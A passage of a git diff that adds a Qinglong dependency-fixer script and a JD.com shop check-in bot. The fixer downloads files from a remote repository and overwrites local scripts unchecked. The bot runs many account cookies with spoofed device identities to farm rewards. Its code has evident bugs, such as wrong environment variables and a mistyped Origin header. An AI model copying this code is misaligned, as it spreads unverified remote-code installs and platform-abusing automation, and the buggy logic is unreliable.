\n#开启脚本依赖文件缺失修复\n") + +try: + if os.environ["ec_ref_dep"] == "true": + print("已配置依赖文件老旧更新\n") + ref = 1 + else: + ref = 0 +except: + ref = 0 + print("#默认不更新老旧依赖文件,有需求") + print("#请在配置文件中配置\nexport ec_re_dep=\"true\" #开启脚本依赖文件更新\n") + + +def traversalDir_FirstDir(path): + list = [] + if (os.path.exists(path)): + files = os.listdir(path) + for file in files: + m = os.path.join(path, file) + if (os.path.isdir(m)): + h = os.path.split(m) + list.append(h[1]) + print("文件夹名字有:") + print(list) + return list + + +def check_dependence(file_path): + try: + res = requests.get("https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/contents.json").json() + except: + print("网络波动,稍后尝试") + time.sleep(5) + try: + res = requests.get("https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/contents.json").json() + except: + print("网络问题无法获取仓库文件列表,终止检索") + return + + dependence_scripts_name = [] + for i in res: + dependence_scripts_name.append(i["name"]) + + if "db" in os.listdir("../"): + dir_list = os.listdir(file_path) + else: + dir_list = os.listdir("." + file_path) + + # 查询 + for i in dependence_scripts_name: + if i not in dir_list and i != "utils" and i != "function": + print("缺失文件 {}{}".format(file_path, i)) + # 修补 + try: + if fix == 1: + print("增加文件 {}{}".format(file_path, i)) + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/" + i).text + if "db" in os.listdir("../"): + with open(file_path + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("." + file_path + i, "w", encoding="utf-8") as fe: + fe.write(r) + except: + temp = 1 + + try: + if temp == 1: + print("未配置ec_fix_dep,默认不修复增加缺失的依赖文件") + except: + pass + + # 更新 + try: + if ref == 1: + for i in dependence_scripts_name: + if i != "utils" and i != "function": + if "db" in os.listdir("../"): + with open(i, "r", encoding="utf-8") as f: + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/" + i).text + d = f.read() + if r == d: + print("无需修改 {}".format(i)) + else: + print("更新文件 {}".format(i)) + with open(file_path + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open(i, "r", encoding="utf-8") as f: + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/" + i).text + d = f.read() + if r == d: + print("无需修改 {}".format(i)) + else: + print("更新文件 {}".format(i)) + with open("." + file_path + i, "w", encoding="utf-8") as fe: + fe.write(r) + + except: + print("未配置ec_ref_dep,默认不更新依赖文件") + + ######################################################################################################### + + # utils + + try: + res = requests.get("https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/utils.json").json() + except: + print("网络波动,稍后尝试") + time.sleep(5) + try: + res = requests.get("https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/utils.json").json() + except: + print("网络问题无法获取仓库文件列表,终止检索") + return + + dependence_scripts_utils = [] + for i in res: + dependence_scripts_utils.append(i["name"]) + + try: + if "db" in os.listdir("../"): + utils_list = os.listdir(file_path + "utils") + else: + utils_list = os.listdir("." + file_path + "utils") + except: + if "db" in os.listdir("../"): + os.makedirs(file_path + "utils") + utils_list = os.listdir(file_path + "utils") + else: + os.makedirs("." + file_path + "utils") + utils_list = os.listdir("." + file_path + "utils") + + # 查询 + for i in dependence_scripts_utils: + if i not in utils_list and i != "utils" and i != "function": + print("缺失文件 {}utils/{}".format(file_path, i)) + # 修补 + try: + if fix == 1: + print("增加文件 {}utils/{}".format(file_path, i)) + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/utils/" + i).text + if "db" in os.listdir("../"): + with open(file_path + "utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("." + file_path + "utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + except: + temp = 1 + + try: + if temp == 1: + print("未配置ec_fix_dep,默认不修复增加缺失的依赖文件") + except: + pass + + # 更新 + try: + if ref == 1: + for i in dependence_scripts_utils: + if i != "utils" and i != "function": + if "db" in os.listdir("../"): + with open(file_path + "utils/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/utils/" + i).text + d = f.read() + if r == d: + print("已存在文件 {}utils/{}".format(file_path, i)) + else: + print("更新文件 {}utils/{}".format(file_path, i)) + with open(file_path + "utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("." + file_path + "utils/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/utils/" + i).text + d = f.read() + if r == d: + print("已存在文件 {}utils/{}".format(file_path, i)) + else: + print("更新文件 {}utils/{}".format(file_path, i)) + with open("." + file_path + "utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + except: + print("未配置ec_ref_dep,默认不更新依赖文件") + + #################################################################################################### + + # function + + try: + res = requests.get("https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/function.json").json() + except: + print("网络波动,稍后尝试") + time.sleep(5) + try: + res = requests.get("https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/function.json").json() + except: + print("网络问题无法获取仓库文件列表,终止检索") + return + + dependence_scripts_function = [] + for i in res: + dependence_scripts_function.append(i["name"]) + + try: + if "db" in os.listdir("../"): + function_list = os.listdir(file_path + "function") + else: + function_list = os.listdir("." + file_path + "function") + except: + if "db" in os.listdir("../"): + os.makedirs(file_path + "function") + function_list = os.listdir(file_path + "function") + else: + os.makedirs("." + file_path + "function") + function_list = os.listdir("." + file_path + "function") + + # 查询 + for i in dependence_scripts_function: + if i not in function_list and i != "utils" and i != "function": + print("缺失文件 {}function/{}".format(file_path, i)) + # 修补 + try: + if fix == 1: + print("增加文件 {}function/{}".format(file_path, i)) + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/function/" + i).text + if "db" in os.listdir("../"): + with open(file_path + "function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("." + file_path + "function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + except: + temp = 1 + + try: + if temp == 1: + print("未配置ec_fix_dep,默认不修复增加缺失的依赖文件") + except: + pass + + # 更新 + try: + if ref == 1: + for i in dependence_scripts_function: + if i != "utils" and i != "function": + if "db" in os.listdir("../"): + with open(file_path + "function/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/function/" + i).text + d = f.read() + if r == d: + print("已存在文件 {}function/{}".format(file_path, i)) + else: + print("更新文件 {}function/{}".format(file_path, i)) + with open(file_path + "function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("." + file_path + "function/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/function/" + i).text + d = f.read() + if r == d: + print("已存在文件 {}function/{}".format(file_path, i)) + else: + print("更新文件 {}function/{}".format(file_path, i)) + with open('.' + file_path + "function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + + except: + print("未配置ec_ref_dep,默认不更新依赖文件") + + +def check_root(): + try: + res = requests.get("https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/contents.json").json() + except: + print("网络波动,稍后尝试") + time.sleep(5) + try: + res = requests.get("https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/contents.json").json() + except: + print("网络问题无法获取仓库文件列表,终止检索") + return + + dependence_scripts_name = [] + for i in res: + dependence_scripts_name.append(i["name"]) + + if "db" in os.listdir("../"): + dir_list = os.listdir("./") + else: + dir_list = os.listdir("../") + + # 查询 + for i in dependence_scripts_name: + if i not in dir_list and i != "utils" and i != "function": + print("缺失文件 {}".format(i)) + # 修补 + try: + if fix == 1: + print("增加文件 {}".format(i)) + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/" + i).text + if "db" in os.listdir("../"): + with open(i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("../" + i, "w", encoding="utf-8") as fe: + fe.write(r) + except: + temp = 1 + + try: + if temp == 1: + print("未配置ec_fix_dep,默认不修复增加缺失的依赖文件") + except: + pass + + # 更新 + try: + if ref == 1: + for i in dependence_scripts_name: + if i != "utils" and i != "function": + if "db" in os.listdir("../"): + with open(i, "r", encoding="utf-8") as f: + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/" + i).text + d = f.read() + if r == d: + print("无需修改 {}".format(i)) + else: + print("更新文件 {}".format(i)) + with open(i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("../" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/" + i).text + d = f.read() + if r == d: + print("无需修改 {}".format(i)) + else: + print("更新文件 {}".format(i)) + with open("../" + i, "w", encoding="utf-8") as fe: + fe.write(r) + + except: + print("未配置ec_ref_dep,默认不更新依赖文件") + + ######################################################################################################### + + # utils + + try: + res = requests.get("https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/utils.json").json() + except: + print("网络波动,稍后尝试") + time.sleep(5) + try: + res = requests.get("https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/utils.json").json() + except: + print("网络问题无法获取仓库文件列表,终止检索") + return + + dependence_scripts_utils = [] + for i in res: + dependence_scripts_utils.append(i["name"]) + + try: + if "db" in os.listdir("../"): + utils_list = os.listdir("./utils") + else: + utils_list = os.listdir("../utils") + except: + if "db" in os.listdir("../"): + os.makedirs("utils") + utils_list = os.listdir("./utils") + else: + os.makedirs("../utils") + utils_list = os.listdir("../utils") + + # 查询 + for i in dependence_scripts_utils: + if i not in utils_list and i != "utils" and i != "function": + print("缺失文件 utils/{}".format(i)) + # 修补 + try: + if fix == 1: + print("增加文件 utils/{}".format(i)) + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/utils/" + i).text + if "db" in os.listdir("../"): + with open("./utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("../utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + except: + temp = 1 + + try: + if temp == 1: + print("未配置ec_fix_dep,默认不修复增加缺失的依赖文件") + except: + pass + + # 更新 + try: + if ref == 1: + for i in dependence_scripts_utils: + if i != "utils" and i != "function": + if "db" in os.listdir("../"): + with open("./utils/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/utils/" + i).text + d = f.read() + if r == d: + print("已存在文件 utils/{}".format(i)) + else: + print("更新文件 utils/{}".format(i)) + with open("./utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("../utils/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/utils/" + i).text + d = f.read() + if r == d: + print("已存在文件 utils/{}".format(i)) + else: + print("更新文件 utils/{}".format(i)) + with open("../utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + except: + print("未配置ec_ref_dep,默认不更新依赖文件") + + #################################################################################################### + + # function + + try: + res = requests.get("https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/function.json").json() + except: + print("网络波动,稍后尝试") + time.sleep(5) + try: + res = requests.get("https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/function.json").json() + except: + print("网络问题无法获取仓库文件列表,终止检索") + return + + dependence_scripts_function = [] + for i in res: + dependence_scripts_function.append(i["name"]) + + try: + if "db" in os.listdir("../"): + function_list = os.listdir("./function") + else: + function_list = os.listdir("../function") + except: + if "db" in os.listdir("../"): + os.makedirs("function") + function_list = os.listdir("./function") + else: + os.makedirs("../function") + function_list = os.listdir("../function") + + # 查询 + for i in dependence_scripts_function: + if i not in function_list and i != "utils" and i != "function": + print("缺失文件 function/{}".format(i)) + # 修补 + try: + if fix == 1: + print("增加文件 function/{}".format(i)) + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/function/" + i).text + if "db" in os.listdir("../"): + with open("./function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("../function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + except: + temp = 1 + + try: + if temp == 1: + print("未配置ec_fix_dep,默认不修复增加缺失的依赖文件") + except: + pass + + # 更新 + try: + if ref == 1: + for i in dependence_scripts_function: + if i != "utils" and i != "function": + if "db" in os.listdir("../"): + with open("./function/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/function/" + i).text + d = f.read() + if r == d: + print("已存在文件 function/{}".format(i)) + else: + print("更新文件 function/{}".format(i)) + with open("./function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("../function/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://jihulab.com/spiritlhl/dependence_scripts/-/raw/master/function/" + i).text + d = f.read() + if r == d: + print("已存在文件 function/{}".format(i)) + else: + print("更新文件 function/{}".format(i)) + with open("../function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + + except: + print("未配置ec_ref_dep,默认不更新依赖文件") + + +if __name__ == '__main__': + + # 针对青龙拉取仓库后单个仓库单个文件夹的情况对每个文件夹进行检测,不需要可以注释掉 开始到结束的部分 + + ### 开始 + if "db" in os.listdir("../"): + dirs_ls = traversalDir_FirstDir("./") + else: + dirs_ls = traversalDir_FirstDir("../") + + # script根目录默认存在的文件夹,放入其中的文件夹不再检索其内依赖完整性 + or_list = ['node_modules', '__pycache__', 'utils', '.pnpm-store', 'function', 'tools', 'backUp', '.git', '.idea', '.github'] + + print() + for i in dirs_ls: + if i not in or_list: + file_path = "./" + i + "/" + print("检测依赖文件是否完整路径 {}".format(file_path)) + check_dependence(file_path) + print() + + ### 结束 + + # 检测根目录,不需要可以注释掉下面这行,旧版本只需要保留下面这行 + check_root() + + print("检测完毕") + + if fix == 1: + print("修复完毕后脚本无法运行,显示缺依赖文件,大概率库里没有或者依赖文件同名但内容不一样,请另寻他法\n") + print("修复完毕后缺依赖环境导致的脚本无法运行,这种无法修复,请自行在依赖管理中添加\n") + print("前者缺文件(如 Error: Cannot find module './utils/magic'),后者缺依赖(如 Error: Cannot find module 'date-fns' ),本脚本只修复前一种") diff --git a/jd_sevenDay.js b/jd_sevenDay.js new file mode 100644 index 0000000..19225fa --- /dev/null +++ b/jd_sevenDay.js @@ -0,0 +1,593 @@ +/* +超级无线店铺签到 +不能并发,超级无线黑号不能跑,建议别跑太多号 +环境变量: +SEVENDAY_LIST 活动链节 https://lzkj-isv.isvjcloud.com/sign/sevenDay/signActivity?activityId= +SEVENDAY_LIST2 活动链节 https://lzkj-isv.isvjcloud.com/sign/signActivity2?activityId= +SEVENDAY_LIST3 活动链节 https://cjhy-isv.isvjcloud.com/sign/signActivity?activityId= +多id 用 & 分开 + +0 0 * * * jd_sevenDay.js +*/ +const $ = new Env('超级无线店铺签到'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +// https://lzkj-isv.isvjcloud.com/sign/sevenDay/signActivity?activityId= +let activityIdList = [ +] +// https://lzkj-isv.isvjcloud.com/sign/signActivity2?activityId= +let activityIdList2 = [ +] +// https://cjhy-isv.isvjcloud.com/sign/signActivity?activityId= +let activityIdList3 = [ +] +let lz_cookie = {} + +if (process.env.SEVENDAY_LIST && process.env.SEVENDAY_LIST != "") { + activityIdList = process.env.SEVENDAY_LIST.split('&'); +} +if (process.env.SEVENDAY_LIST2 && process.env.SEVENDAY_LIST2 != "") { + activityIdList2 = process.env.SEVENDAY_LIST.split('&'); +} +if (process.env.SEVENDAY_LIST3 && process.env.SEVENDAY_LIST3 != "") { + activityIdList3 = process.env.SEVENDAY_LIST.split('&'); +} + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + $.actList = activityIdList.length + activityIdList.length + activityIdList.length + + for (let i = 0; i < cookiesArr.length; i++) { + if ($.actList === 0) { + console.log("请设置无线签到活动id,看脚本说明") + break + } + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + console.log("签到类型1") + for(let a in activityIdList){ + $.activityUrl = `https://lzkj-isv.isvjcloud.com/sign/sevenDay/signActivity?activityId=${$.activityId}&venderId=${$.venderId}&adsource=&sid=&un_area=` + $.activityId = activityIdList[a]; + await signActivity(); + await $.wait(2000) + } + console.log("签到类型2") + for(let a in activityIdList2){ + $.activityUrl = `https://lzkj-isv.isvjcloud.com/sign/signActivity2?activityId=${$.activityId}&venderId=${$.venderId}&adsource=&sid=&un_area=` + $.activityId = activityIdList2[a]; + await signActivity2(); + await $.wait(2000) + } + console.log("签到类型3") + for(let a in activityIdList3){ + $.activityUrl = `https://cjhy-isv.isvjcloud.com/sign/signActivity?activityId=${$.activityId}&venderId=${$.venderId}&adsource=&sid=&un_area=` + $.activityId = activityIdList3[a]; + await signActivity3(); + await $.wait(2000) + } + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function signActivity() { + $.token = null; + $.secretPin = null; + $.venderId = null; + await getFirstLZCK() + await getToken(); + await task('customer/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) + if ($.token) { + await getMyPing(); + if ($.secretPin) { + await task('common/accessLogWithAD', `venderId=${$.venderId}&code=${$.activityType}&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=tg_xuanFuTuBiao`, 1); + console.log(`签到 -> ${$.activityId}`) + await task('sign/sevenDay/wx/signUp',`actId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`,1); + } else { + $.log("没有成功获取到用户信息") + } + } else { + $.log("没有成功获取到用户鉴权信息") + } +} + +async function signActivity2() { + $.token = null; + $.secretPin = null; + $.venderId = null; + await getFirstLZCK() + await getToken(); + await task('customer/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) + if ($.token) { + await getMyPing(); + if ($.secretPin) { + await task('common/accessLogWithAD', `venderId=${$.venderId}&code=${$.activityType}&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=tg_xuanFuTuBiao`, 1); + console.log(`签到 -> ${$.activityId}`) + await task('sign/wx/signUp',`actId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`,1); + } else { + $.log("没有成功获取到用户信息") + } + } else { + $.log("没有成功获取到用户鉴权信息") + } +} + +async function signActivity3() { + $.token = null; + $.secretPin = null; + $.venderId = null; + await getFirstLZCK() + await getToken(); + await task2('customer/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) + if ($.token) { + await getMyPing2(); + if ($.secretPin) { + await task2('common/accessLogWithAD', `venderId=${$.venderId}&code=${$.activityType}&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=tg_xuanFuTuBiao`, 1); + console.log(`签到 -> ${$.activityId}`) + await task2('sign/wx/signUp',`actId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`,1); + } else { + $.log("没有成功获取到用户信息") + } + } else { + $.log("没有成功获取到用户鉴权信息") + } +} + +function task(function_id, body, isCommon = 0) { + return new Promise(resolve => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (resp['headers']['set-cookie']) { + cookie = `${originCookie};` + for (let sk of resp['headers']['set-cookie']) { + lz_cookie[sk.split(";")[0].substr(0, sk.split(";")[0].indexOf("="))] = sk.split(";")[0].substr(sk.split(";")[0].indexOf("=") + 1) + } + for (const vo of Object.keys(lz_cookie)) { + cookie += vo + '=' + lz_cookie[vo] + ';' + } + } + if (data) { + switch (function_id) { + case 'customer/getSimpleActInfoVo': + $.activityId = data.data.activityId; + $.jdActivityId = data.data.jdActivityId; + $.venderId = data.data.venderId; + $.shopId = data.data.shopId; + $.activityType = data.data.activityType; + break; + case 'sign/sevenDay/wx/signUp': + if(data){ + // console.log(data); + if (data.isOk) { + console.log("签到成功"); + // console.log(data); + } else { + console.log(data); + } + } + break + case 'sign/wx/signUp': + if(data){ + // console.log(data); + if (data.isOk) { + console.log("签到成功"); + // console.log(data); + } else { + console.log(data); + } + } + break + default: + $.log(JSON.stringify(data)) + break; + } + } + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function task2(function_id, body, isCommon = 0) { + return new Promise(resolve => { + $.post(taskUrl2(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (resp['headers']['set-cookie']) { + cookie = `${originCookie};` + for (let sk of resp['headers']['set-cookie']) { + lz_cookie[sk.split(";")[0].substr(0, sk.split(";")[0].indexOf("="))] = sk.split(";")[0].substr(sk.split(";")[0].indexOf("=") + 1) + } + for (const vo of Object.keys(lz_cookie)) { + cookie += vo + '=' + lz_cookie[vo] + ';' + } + } + if (data) { + switch (function_id) { + case 'customer/getSimpleActInfoVo': + $.activityId = data.data.activityId; + $.jdActivityId = data.data.jdActivityId; + $.venderId = data.data.venderId; + $.shopId = data.data.shopId; + $.activityType = data.data.activityType; + break; + case 'sign/sevenDay/wx/signUp': + if(data){ + if (data.isOk) { + console.log("签到成功"); + if (data.signResult.giftName) { + console.log(data.signResult.giftName); + } + } else { + console.log(data.msg); + } + } + break + case 'sign/wx/signUp': + if(data){ + if (data.isOk) { + console.log("签到成功"); + if (data.gift.giftName) { + console.log(data.gift.giftName); + } + } else { + console.log(data.msg); + } + } + break + default: + $.log(JSON.stringify(data)) + break; + } + } + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzkj-isv.isvjcloud.com/${function_id}` : `https://lzkj-isv.isvjcloud.com/sign/wx/${function_id}`, + headers: { + Host: 'lzkj-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzkj-isv.isvjcloud.comm', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie + }, + body: body + + } +} +function taskUrl2(function_id, body, isCommon) { + return { + url: isCommon ? `https://cjhy-isv.isvjcloud.com/${function_id}` : `https://cjhy-isv.isvjcloud.com/sign/wx/${function_id}`, + headers: { + Host: 'cjhy-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://cjhy-isv.isvjcloud.comm', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie + }, + body: body + + } +} + +function getMyPing() { + let opt = { + url: `https://lzkj-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: 'lzkj-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzkj-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.venderId}&token=${$.token}&fromType=APP` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie};` + for (let sk of resp['headers']['set-cookie']) { + lz_cookie[sk.split(";")[0].substr(0, sk.split(";")[0].indexOf("="))] = sk.split(";")[0].substr(sk.split(";")[0].indexOf("=") + 1) + } + for (const vo of Object.keys(lz_cookie)) { + cookie += vo + '=' + lz_cookie[vo] + ';' + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + } else { + $.log(data.errorMessage) + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getMyPing2() { + let opt = { + url: `https://cjhy-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: 'cjhy-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://cjhy-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.venderId}&token=${$.token}&fromType=APP&riskType=1` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie};` + for (let sk of resp['headers']['set-cookie']) { + lz_cookie[sk.split(";")[0].substr(0, sk.split(";")[0].indexOf("="))] = sk.split(";")[0].substr(sk.split(";")[0].indexOf("=") + 1) + } + for (const vo of Object.keys(lz_cookie)) { + cookie += vo + '=' + lz_cookie[vo] + ';' + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + } else { + $.log(data.errorMessage) + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getFirstLZCK() { + return new Promise(resolve => { + $.get({ url: $.activityUrl ,headers:{"user-agent":$.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")}}, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie};` + for (let sk of resp['headers']['set-cookie']) { + lz_cookie[sk.split(";")[0].substr(0, sk.split(";")[0].indexOf("="))] = sk.split(";")[0].substr(sk.split(";")[0].indexOf("=") + 1) + } + for (const vo of Object.keys(lz_cookie)) { + cookie += vo + '=' + 